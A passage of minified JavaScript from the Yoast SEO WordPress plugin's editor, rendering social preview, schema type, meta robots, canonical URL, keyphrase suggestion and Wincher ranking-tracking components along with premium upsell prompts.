,setTwitterPreviewDescription:n,clearTwitterPreviewImage:a,loadTwitterPreviewData:o,findCustomFields:i}=e("yoast-seo/editor"),l=s("yoast-seo/editor").getPostId();return{onSelectImageClick:xo,onRemoveImageClick:a,onDescriptionChange:n,onTitleChange:r,onLoad:o,onReplacementVariableSearchChange:mn(l,i)}})),us()])(ko),To=ht()(Kt.Collapsible)`
h2 > button {
padding-left: 0;
padding-top: 16px;
&:hover {
background-color: #f0f0f0;
}
}
div[class^="collapsible_content"] {
padding: 24px 0;
margin: 0 24px;
border-top: 1px solid rgba(0,0,0,0.2);
}
`,Ro=e=>(0,c.createElement)(To,{hasPadding:!1,hasSeparator:!0,...e}),Co=ht().legend`
margin: 16px 0;
padding: 0;
color: ${va.colors.$color_headings};
font-size: 12px;
font-weight: 300;
`,Io=ht().legend`
margin: 0 0 16px;
padding: 0;
color: ${va.colors.$color_headings};
font-size: 12px;
font-weight: 300;
`,Po=ht()(fa)`
width: 18px;
height: 18px;
margin: 3px;
`,Lo=e=>{const{useOpenGraphData:t,useTwitterData:s}=e;if(!t&&!s)return;const r=kr();return(0,c.createElement)(Tr
/* translators: Social media appearance refers to a preview of how a page will be represented on social media. */,{title:(0,m.__)("Social media appearance","wordpress-seo"),id:"yoast-social-appearance-modal",shouldCloseOnClickOutside:!1,SuffixHeroIcon:(0,c.createElement)(Po,{className:"yst-text-slate-500",...r})},t&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Io,null,(0,m.__)("Determine how your post should look on social media like Facebook, X, Instagram, WhatsApp, Threads, LinkedIn, Slack, and more.","wordpress-seo")),(0,c.createElement)(_o,null),s&&(0,c.createElement)(Co,null,(0,m.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below. If you leave these settings untouched, the 'Social media appearance' settings mentioned above will also be applied for sharing on X.","wordpress-seo"))),t&&s&&(0,c.createElement)(Ro,{title:(0,m.__)("X appearance","wordpress-seo"),hasSeparator:!0,initialIsOpen:!1},(0,c.createElement)(So,null)),!t&&s&&(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Io,null,(0,m.__)("To customize the appearance of your post specifically for X, please fill out the 'X appearance' settings below.","wordpress-seo")),(0,c.createElement)(So,null)))};Lo.propTypes={useOpenGraphData:y().bool.isRequired,useTwitterData:y().bool.isRequired};const Ao=Lo,Oo=(0,m.__)("Check your text on even more SEO criteria and get an enhanced keyphrase analysis, making it easier to optimize your content.","wordpress-seo"),Fo=e=>{const{locationContext:t}=(0,gt.useRootContext)(),s=(0,Ut.addQueryArgs)(wpseoAdminL10n[e.buyLink],{context:t});return(0,c.createElement)(ns,{title:(0,m.__)("Get more help with writing content that ranks","wordpress-seo"),description:e.description,benefitsTitle:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("%s also gives you:","wordpress-seo"),"Yoast SEO Premium"),benefits:ae(),upsellButtonText:(0,m.sprintf)(/* translators: %s expands to 'Yoast SEO Premium'. */
(0,m.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:s,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,m.__)("1 year of premium support and updates included!","wordpress-seo")})};Fo.propTypes={buyLink:y().string.isRequired,description:y().string},Fo.defaultProps={description:Oo};const Do=Fo,Mo=({location:e})=>{const[t,s]=(0,u.useState)(!1),r=(0,u.useCallback)((()=>s(!1)),[]),n=(0,u.useCallback)((()=>s(!0)),[]),a=(0,h.useSvgAria)();return(0,c.createElement)(u.Fragment,null,t&&(0,c.createElement)(cs,{title:(0,m.__)("Unlock Premium SEO analysis","wordpress-seo"),onRequestClose:r,additionalClassName:"",className:`${is} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,id:"yoast-premium-seo-analysis-modal",shouldCloseOnClickOutside:!0},(0,c.createElement)(os,null,(0,c.createElement)(Do,{buyLink:`shortlinks.upsell.${e}.premium_seo_analysis_button`}))),"sidebar"===e&&(0,c.createElement)(zt,{id:"yoast-premium-seo-analysis-modal-open-button",title:(0,m.__)("Premium SEO analysis","wordpress-seo"),prefixIcon:{icon:"seo-score-none",color:va.colors.$color_grey},onClick:n},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...a})))),"metabox"===e&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Yt,{id:"yoast-premium-seo-analysis-metabox-modal-open-button",onClick:n},(0,c.createElement)(Kt.SvgIcon,{icon:"seo-score-none",color:va.colors.$color_grey}),(0,c.createElement)(Yt.Text,null,(0,m.__)("Premium SEO analysis","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(qt,{className:"yst-w-2.5 yst-h-2.5 yst-me-1 yst-shrink-0",...a}),(0,c.createElement)("span",null,"Premium")))))};Mo.propTypes={location:y().string},Mo.defaultProps={location:"sidebar"};const No=Mo,qo=e=>{const[t,s]=(0,u.useState)(!1),{prefixIcon:r}=e;return(0,c.createElement)("div",{className:"yoast components-panel__body "+(t?"is-opened":"")},(0,c.createElement)("h2",{className:"components-panel__body-title"},(0,c.createElement)("button",{onClick:function(){s(!t)},className:"components-button components-panel__body-toggle",type:"button",id:e.buttonId},(0,c.createElement)("span",{className:"yoast-icon-span",style:{fill:`${r&&r.color||""}`}},r&&(0,c.createElement)(Kt.SvgIcon,{icon:r.icon,color:r.color,size:r.size})),(0,c.createElement)("span",{className:"yoast-title-container"},(0,c.createElement)("div",{className:"yoast-title"},e.title),(0,c.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.hasBetaBadgeLabel&&(0,c.createElement)(Kt.BetaBadge,null),(0,c.createElement)("span",{className:"yoast-chevron","aria-hidden":"true"}))),t&&e.children)},Uo=qo;qo.propTypes={title:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,prefixIcon:y().object,subTitle:y().string,hasBetaBadgeLabel:y().bool,buttonId:y().string},qo.defaultProps={prefixIcon:null,subTitle:"",hasBetaBadgeLabel:!1,buttonId:null};var $o=s(6746);const Bo=(0,Ht.makeOutboundLink)(),Wo=ht().div`
padding: 16px;
`,Yo="yoast-seo/editor";function Ko({location:e,show:t}){return t?(0,c.createElement)(Kt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s Expands to "Yoast News SEO" */
(0,m.__)("Are you working on a news article? %s helps you optimize your site for Google News.","wordpress-seo"),"Yoast News SEO")+" ",(0,c.createElement)(Bo,{href:window.wpseoAdminL10n[`shortlinks.upsell.${e}.news`]},(0,m.sprintf)(/* translators: %s: Expands to "Yoast News SEO". */
(0,m.__)("Buy %s now!","wordpress-seo"),"Yoast News SEO"))):null}Ko.propTypes={show:y().bool.isRequired,location:y().string.isRequired};const jo=(e,t,s)=>{const r=(0,i.useSelect)((e=>e(Yo).getIsProduct()),[]),n=(0,i.useSelect)((e=>e(Yo).getIsWooSeoActive()),[]),a=r&&n?{name:(0,m.__)("Item Page","wordpress-seo"),value:"ItemPage"}:e.find((e=>e.value===t));return[{name:(0,m.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s expands to the current site wide default. */
(0,m.__)("Default for %1$s (%2$s)","wordpress-seo"),s,a?a.name:""),value:""},...e]},zo=e=>(0,m.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s and %3$s expand to a link to the Settings page */
(0,m.__)("You can change the default type for %1$s under Content types in the %2$sSettings%3$s.","wordpress-seo"),e,"{{link}}","{{/link}}");y().string.isRequired,y().string.isRequired,y().string.isRequired;const Ho=e=>{const t=jo(e.pageTypeOptions,e.defaultPageType,e.postTypeName),s=jo(e.articleTypeOptions,e.defaultArticleType,e.postTypeName),r=(0,i.useSelect)((e=>e(Yo).selectLink("https://yoa.st/product-schema-metabox")),[]),n=(0,i.useSelect)((e=>e(Yo).getIsWooSeoUpsell()),[]),[a,o]=(0,u.useState)(e.schemaArticleTypeSelected),l=(0,m.__)("Want your products stand out in search results with rich results like price, reviews and more?","wordpress-seo"),d=(0,i.useSelect)((e=>e(Yo).getIsProduct()),[]),p=(0,i.useSelect)((e=>e(Yo).getIsWooSeoActive()),[]),h=(0,i.useSelect)((e=>e(Yo).selectAdminLink("?page=wpseo_page_settings")),[]),g=d&&p,y=(0,u.useCallback)(((e,t)=>{o(t)}),[a]);return(0,u.useEffect)((()=>{y(null,e.schemaArticleTypeSelected)}),[e.schemaArticleTypeSelected]),(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Kt.FieldGroup,{label:(0,m.__)("What type of page or content is this?","wordpress-seo"),linkTo:e.additionalHelpTextLink
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about page or content types","wordpress-seo")}),n&&(0,c.createElement)(gn,{link:r,text:l}),(0,c.createElement)(Kt.Select,{id:(0,Ht.join)(["yoast-schema-page-type",e.location]),options:t,label:(0,m.__)("Page type","wordpress-seo"),onChange:e.schemaPageTypeChange,selected:g?"ItemPage":e.schemaPageTypeSelected,disabled:g}),e.showArticleTypeInput&&(0,c.createElement)(Kt.Select,{id:(0,Ht.join)(["yoast-schema-article-type",e.location]),options:s,label:(0,m.__)("Article type","wordpress-seo"),onChange:e.schemaArticleTypeChange,selected:e.schemaArticleTypeSelected,onOptionFocus:y}),(0,c.createElement)(Ko,{location:e.location,show:!e.isNewsEnabled&&(b=a,E=e.defaultArticleType,"NewsArticle"===b||""===b&&"NewsArticle"===E)}),e.displayFooter&&!g&&(0,c.createElement)("p",null,(f=e.postTypeName,w=h,(0,$o.Z)({mixedString:zo(f),components:{link:(0,c.createElement)("a",{href:w,target:"_blank",rel:"noreferrer"})}}))),g&&(0,c.createElement)("p",null,(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("You have %1$s activated on your site, automatically setting the Page type for your products to 'Item Page'. As a result, the Page type selection is disabled.","wordpress-seo"),"Yoast WooCommerce SEO")));var f,w,b,E},Vo=y().arrayOf(y().shape({name:y().string,value:y().string}));Ho.propTypes={schemaPageTypeChange:y().func,schemaPageTypeSelected:y().string,pageTypeOptions:Vo.isRequired,schemaArticleTypeChange:y().func,schemaArticleTypeSelected:y().string,articleTypeOptions:Vo.isRequired,showArticleTypeInput:y().bool.isRequired,additionalHelpTextLink:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,defaultPageType:y().string.isRequired,defaultArticleType:y().string.isRequired,location:y().string.isRequired,isNewsEnabled:y().bool},Ho.defaultProps={schemaPageTypeChange:()=>{},schemaPageTypeSelected:null,schemaArticleTypeChange:()=>{},schemaArticleTypeSelected:null,displayFooter:!1,isNewsEnabled:!1};const Go=e=>e.isMetabox?(0,u.createPortal)((0,c.createElement)(Wo,null,(0,c.createElement)(Ho,{...e})),document.getElementById("wpseo-meta-section-schema")):(0,c.createElement)(Ho,{...e});Go.propTypes={showArticleTypeInput:y().bool,articleTypeLabel:y().string,additionalHelpTextLink:y().string,pageTypeLabel:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,isMetabox:y().bool.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,loadSchemaArticleData:y().func.isRequired,loadSchemaPageData:y().func.isRequired,location:y().string.isRequired},Go.defaultProps={showArticleTypeInput:!1,articleTypeLabel:"",additionalHelpTextLink:"",displayFooter:!1};const Zo=Go;class Qo{static get articleTypeInput(){return document.getElementById("yoast_wpseo_schema_article_type")}static get defaultArticleType(){return Qo.articleTypeInput.getAttribute("data-default")}static get articleType(){return Qo.articleTypeInput.value}static set articleType(e){Qo.articleTypeInput.value=e}static get pageTypeInput(){return document.getElementById("yoast_wpseo_schema_page_type")}static get defaultPageType(){return Qo.pageTypeInput.getAttribute("data-default")}static get pageType(){return Qo.pageTypeInput.value}static set pageType(e){Qo.pageTypeInput.value=e}}const Xo=e=>{const t=null!==Qo.articleTypeInput;(0,u.useEffect)((()=>{e.loadSchemaPageData(),t&&e.loadSchemaArticleData()}),[]);const{pageTypeOptions:s,articleTypeOptions:r}=window.wpseoScriptData.metabox.schema,n={articleTypeLabel:(0,m.__)("Article type","wordpress-seo"),pageTypeLabel:(0,m.__)("Page type","wordpress-seo"),postTypeName:window.wpseoAdminL10n.postTypeNamePlural,helpTextTitle:(0,m.__)("Yoast SEO automatically describes your pages using schema.org","wordpress-seo"),helpTextDescription:(0,m.__)("This helps search engines understand your website and your content. You can change some of your settings for this page below.","wordpress-seo"),showArticleTypeInput:t,pageTypeOptions:s,articleTypeOptions:r},a={...e,...n,...(o=e.location,"metabox"===o?{helpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.page_type"],isMetabox:!0}:{helpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.page_type"],isMetabox:!1})};var o;return(0,c.createElement)(Zo,{...a})};Xo.propTypes={displayFooter:y().bool.isRequired,schemaPageTypeSelected:y().string.isRequired,schemaArticleTypeSelected:y().string.isRequired,defaultArticleType:y().string.isRequired,defaultPageType:y().string.isRequired,loadSchemaPageData:y().func.isRequired,loadSchemaArticleData:y().func.isRequired,schemaPageTypeChange:y().func.isRequired,schemaArticleTypeChange:y().func.isRequired,location:y().string.isRequired};const Jo=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getPreferences:t,getPageType:s,getDefaultPageType:r,getArticleType:n,getDefaultArticleType:a}=e("yoast-seo/editor"),{displaySchemaSettingsFooter:o,isNewsEnabled:i}=t();return{displayFooter:o,isNewsEnabled:i,schemaPageTypeSelected:s(),schemaArticleTypeSelected:n(),defaultArticleType:a(),defaultPageType:r()}})),(0,i.withDispatch)((e=>{const{setPageType:t,setArticleType:s,getSchemaPageData:r,getSchemaArticleData:n}=e("yoast-seo/editor");return{loadSchemaPageData:r,loadSchemaArticleData:n,schemaPageTypeChange:t,schemaArticleTypeChange:s}})),us()])(Xo),ei=({noIndex:e,onNoIndexChange:t,editorContext:s,isPrivateBlog:r})=>{const n=(e=>{const t=(0,m.__)("No","wordpress-seo"),s=(0,m.__)("Yes","wordpress-seo"),r=e.noIndex?t:s;return window.wpseoScriptData.isPost?[{name:(0,m.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,m.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"0"},{name:t,value:"1"},{name:s,value:"2"}]:[{name:(0,m.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,m.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"default"},{name:s,value:"index"},{name:t,value:"noindex"}]})(s);return(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(u.Fragment,null,r&&(0,c.createElement)(Kt.Alert,{type:"warning"},(0,m.__)("Even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won't have an effect.","wordpress-seo")),(0,c.createElement)(Kt.Select,{label:(0,m.__)("Allow search engines to show this content in search results?","wordpress-seo"),onChange:t,id:(0,Ht.join)(["yoast-meta-robots-noindex",s]),options:n,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.allow_search_engines"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the no-index setting on our help page.","wordpress-seo")}))))};ei.propTypes={noIndex:y().string.isRequired,onNoIndexChange:y().func.isRequired,editorContext:y().object.isRequired,isPrivateBlog:y().bool},ei.defaultProps={isPrivateBlog:!1};const ti=({noFollow:e,onNoFollowChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>{const r=(0,Ht.join)(["yoast-meta-robots-nofollow",s]);return(0,c.createElement)(Kt.RadioButtonGroup,{id:r,options:[{value:"0",label:"Yes"},{value:"1",label:"No"}],label:(0,m.__)("Should search engines follow links on this content?","wordpress-seo"),groupName:r,onChange:t,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.follow_links"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the no-follow setting on our help page.","wordpress-seo")})}));ti.propTypes={noFollow:y().string.isRequired,onNoFollowChange:y().func.isRequired};const si=({advanced:e,onAdvancedChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>{const r=(0,Ht.join)(["yoast-meta-robots-advanced",s]),n=`${r}-input`;return(0,c.createElement)(Kt.MultiSelect,{label:(0,m.__)("Meta robots advanced","wordpress-seo"),onChange:t,id:r,inputId:n,options:[{name:(0,m.__)("No Image Index","wordpress-seo"),value:"noimageindex"},{name:(0,m.__)("No Archive","wordpress-seo"),value:"noarchive"},{name:(0,m.__)("No Snippet","wordpress-seo"),value:"nosnippet"}],selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.meta_robots"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about advanced meta robots settings on our help page.","wordpress-seo")})}));si.propTypes={advanced:y().array.isRequired,onAdvancedChange:y().func.isRequired};const ri=({breadcrumbsTitle:e,onBreadcrumbsTitleChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(Kt.TextInput,{label:(0,m.__)("Breadcrumbs Title","wordpress-seo"),id:(0,Ht.join)(["yoast-breadcrumbs-title",s]),onChange:t,value:e,linkTo:wpseoAdminL10n["shortlinks.advanced.breadcrumbs_title"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the breadcrumbs title setting on our help page.","wordpress-seo")})));ri.propTypes={breadcrumbsTitle:y().string.isRequired,onBreadcrumbsTitleChange:y().func.isRequired};const ni=({canonical:e,onCanonicalChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(Kt.TextInput,{label:(0,m.__)("Canonical URL","wordpress-seo"),id:(0,Ht.join)(["yoast-canonical",s]),onChange:t,value:e,linkTo:"https://yoa.st/canonical-url"
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about canonical URLs on our help page.","wordpress-seo")})));ni.propTypes={canonical:y().string.isRequired,onCanonicalChange:y().func.isRequired};const ai=e=>{const{noIndex:t,noFollow:s,advanced:r,breadcrumbsTitle:n,canonical:a,onNoIndexChange:o,onNoFollowChange:i,onAdvancedChange:l,onBreadcrumbsTitleChange:d,onCanonicalChange:p,onLoad:m,isLoading:h,editorContext:g,isBreadcrumbsDisabled:y,isPrivateBlog:f}=e;(0,u.useEffect)((()=>{setTimeout((()=>{h&&m()}))}));const w={noIndex:t,onNoIndexChange:o,editorContext:g,isPrivateBlog:f},b={noFollow:s,onNoFollowChange:i},E={advanced:r,onAdvancedChange:l},_={breadcrumbsTitle:n,onBreadcrumbsTitleChange:d},v={canonical:a,onCanonicalChange:p};return h?null:(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ei,{...w}),g.isPost&&(0,c.createElement)(ti,{...b}),g.isPost&&(0,c.createElement)(si,{...E}),!y&&(0,c.createElement)(ri,{..._}),(0,c.createElement)(ni,{...v}))};ai.propTypes={noIndex:y().string.isRequired,canonical:y().string.isRequired,onNoIndexChange:y().func.isRequired,onCanonicalChange:y().func.isRequired,onLoad:y().func.isRequired,isLoading:y().bool.isRequired,editorContext:y().object.isRequired,isBreadcrumbsDisabled:y().bool.isRequired,isPrivateBlog:y().bool,advanced:y().array,onAdvancedChange:y().func,noFollow:y().string,onNoFollowChange:y().func,breadcrumbsTitle:y().string,onBreadcrumbsTitleChange:y().func},ai.defaultProps={advanced:[],onAdvancedChange:()=>{},noFollow:"",onNoFollowChange:()=>{},breadcrumbsTitle:"",onBreadcrumbsTitleChange:()=>{},isPrivateBlog:!1};const oi=ai,ii=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getNoIndex:t,getNoFollow:s,getAdvanced:r,getBreadcrumbsTitle:n,getCanonical:a,getIsLoading:o,getEditorContext:i,getPreferences:l}=e("yoast-seo/editor"),{isBreadcrumbsDisabled:c,isPrivateBlog:d}=l();return{noIndex:t(),noFollow:s(),advanced:r(),breadcrumbsTitle:n(),canonical:a(),isLoading:o(),editorContext:i(),isBreadcrumbsDisabled:c,isPrivateBlog:d}})),(0,i.withDispatch)((e=>{const{setNoIndex:t,setNoFollow:s,setAdvanced:r,setBreadcrumbsTitle:n,setCanonical:a,loadAdvancedSettingsData:o}=e("yoast-seo/editor");return{onNoIndexChange:t,onNoFollowChange:s,onAdvancedChange:r,onBreadcrumbsTitleChange:n,onCanonicalChange:a,onLoad:o}}))])(oi),li=window.yoast.relatedKeyphraseSuggestions;function ci(e){const{requestLimitReached:t,isSuccess:s,response:r,requestHasData:n,relatedKeyphrases:a}=e;return t?"requestLimitReached":!s&&function(e){return"invalid_json"===(null==e?void 0:e.code)||"fetch_error"===(null==e?void 0:e.code)||!(0,R.isEmpty)(e)&&"error"in e}(r)?"requestFailed":n?function(e){return e&&e.length>=4}(a)?"maxRelatedKeyphrases":void 0:"requestEmpty"}function di(e){var t,s;const{keyphrase:r="",relatedKeyphrases:n=[],renderAction:a=null,requestLimitReached:o=!1,countryCode:i="us",setCountry:l,newRequest:d,response:p={},isRtl:m=!1,userLocale:g="en_US",isPending:y=!1,isPremium:f=!1,semrushUpsellLink:w="",premiumUpsellLink:b=""}=e,[E,_]=(0,u.useState)(i),v=(0,u.useCallback)((async()=>{d(i,r),_(i)}),[i,r,d]);return(0,c.createElement)(h.Root,{context:{isRtl:m}},!o&&!f&&(0,c.createElement)(li.PremiumUpsell,{url:b,className:"yst-mb-4"}),!o&&(0,c.createElement)(li.CountrySelector,{countryCode:i,activeCountryCode:E,onChange:l,onClick:v,className:"yst-mb-4",userLocale:g.split("_")[0]}),!y&&(0,c.createElement)(li.UserMessage,{variant:ci(e),upsellLink:w}),(0,c.createElement)(li.KeyphrasesTable,{relatedKeyphrases:n,columnNames:null==p||null===(t=p.results)||void 0===t?void 0:t.columnNames,data:null==p||null===(s=p.results)||void 0===s?void 0:s.rows,isPending:y,renderButton:a,className:"yst-mt-4"}))}di.propTypes={keyphrase:y().string,relatedKeyphrases:y().array,renderAction:y().func,requestLimitReached:y().bool,countryCode:y().string.isRequired,setCountry:y().func.isRequired,newRequest:y().func.isRequired,response:y().object,isRtl:y().bool,userLocale:y().string,isPending:y().bool,isPremium:y().bool,semrushUpsellLink:y().string,premiumUpsellLink:y().string};const pi=(0,Nt.compose)([(0,i.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushSelectedCountry:s,getSEMrushRequestLimitReached:r,getSEMrushRequestResponse:n,getSEMrushRequestIsSuccess:a,getSEMrushIsRequestPending:o,getSEMrushRequestHasData:i,getSEMrushRequestKeyphrase:l,getPreference:c,getIsPremium:d,selectLinkParams:p}=e("yoast-seo/editor");return{keyphrase:t(),countryCode:s(),requestLimitReached:r(),response:n(),isSuccess:a(),isPending:o(),requestHasData:i(),lastRequestKeyphrase:l(),isRtl:c("isRtl",!1),userLocale:c("userLocale","en_US"),isPremium:d(),semrushUpsellLink:(0,Ut.addQueryArgs)("https://yoa.st/semrush-prices",p()),premiumUpsellLink:(0,Ut.addQueryArgs)("https://yoa.st/413",p())}})),(0,i.withDispatch)((e=>{const{setSEMrushChangeCountry:t,setSEMrushNewRequest:s}=e("yoast-seo/editor");return{setCountry:e=>{t(e)},newRequest:(e,t)=>{s(e,t)}}}))])(di),ui=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M2 11a1 1 0 011-1h2a1 1 0 011 1v5a1 1 0 01-1 1H3a1 1 0 01-1-1v-5zM8 7a1 1 0 011-1h2a1 1 0 011 1v9a1 1 0 01-1 1H9a1 1 0 01-1-1V7zM14 4a1 1 0 011-1h2a1 1 0 011 1v12a1 1 0 01-1 1h-2a1 1 0 01-1-1V4z"}))}));var mi,hi;function gi(){return gi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},gi.apply(this,arguments)}const yi=e=>c.createElement("svg",gi({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},e),mi||(mi=c.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),hi||(hi=c.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"}))),fi=window.moment;var wi=s.n(fi);const bi=(0,Ht.makeOutboundLink)(),Ei=e=>{const t=(0,m.sprintf)(/* translators: %d expands to the amount of allowed keyphrases on a free account, %s expands to a link to Wincher plans. */
(0,m.__)("You've reached the maximum amount of %d keyphrases you can add to your Wincher account. If you wish to add more keyphrases, please %s.","wordpress-seo"),e.limit,"{{updateWincherPlanLink/}}");return(0,c.createElement)(Kt.Alert,{type:"error"},(0,$o.Z)({mixedString:t,components:{updateWincherPlanLink:(0,c.createElement)(bi,{href:wpseoAdminGlobalL10n["links.wincher.pricing"]},(0,m.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,m.__)("upgrade your %s plan","wordpress-seo"),"Wincher"))}}))};Ei.propTypes={limit:y().number},Ei.defaultProps={limit:10};const _i=Ei,vi=()=>(0,c.createElement)(Kt.Alert,{type:"error"},(0,m.__)("Something went wrong while tracking the ranking position(s) of your page. Please try again later.","wordpress-seo")),ki=window.wp.apiFetch;var xi=s.n(ki);async function Si(e,t,s,r=200){try{const n=await e();return!!n&&(n.status===r?t(n):s(n))}catch(e){console.error(e.message)}}async function Ti(e){try{return await xi()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}async function Ri(e){return(0,R.isArray)(e)||(e=[e]),await Ti({path:"yoast/v1/wincher/keyphrases/track",method:"POST",data:{keyphrases:e}})}const Ci=ht().p`
color: ${va.colors.$color_pink_dark};
font-size: 14px;
font-weight: 700;
margin: 13px 0 10px;
`,Ii=ht()(Kt.SvgIcon)`
margin-right: 5px;
vertical-align: middle;
`,Pi=ht().button`
position: absolute;
top: 9px;
right: 9px;
border: none;
background: none;
cursor: pointer;
`,Li=ht().p`
font-size: 13px;
font-weight: 500;
margin: 10px 0 13px;
`,Ai=ht().div`
position: relative;
background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
border: 1px solid #C7C7C7;
border-left: 4px solid${va.colors.$color_pink_dark};
padding: 0 16px;
margin-bottom: 1.5em;
`,Oi=e=>{const[t,s]=(0,u.useState)(null);return(0,u.useEffect)((()=>{e&&!t&&async function(){return await Ti({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>s(e)))}),[t]),t};Oi.propTypes={limit:y().bool.isRequired};const Fi=({limit:e,usage:t,isTitleShortened:s,isFreeAccount:r})=>{const n=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
* %2$s expands to the account keywords limit.
*/
(0,m.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),t,e),a=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
* %2$s expands to the account keywords limit.
*/
(0,m.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),t,e),o=r?n:a,i=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
* %2$s expands to the account keywords limit.
*/
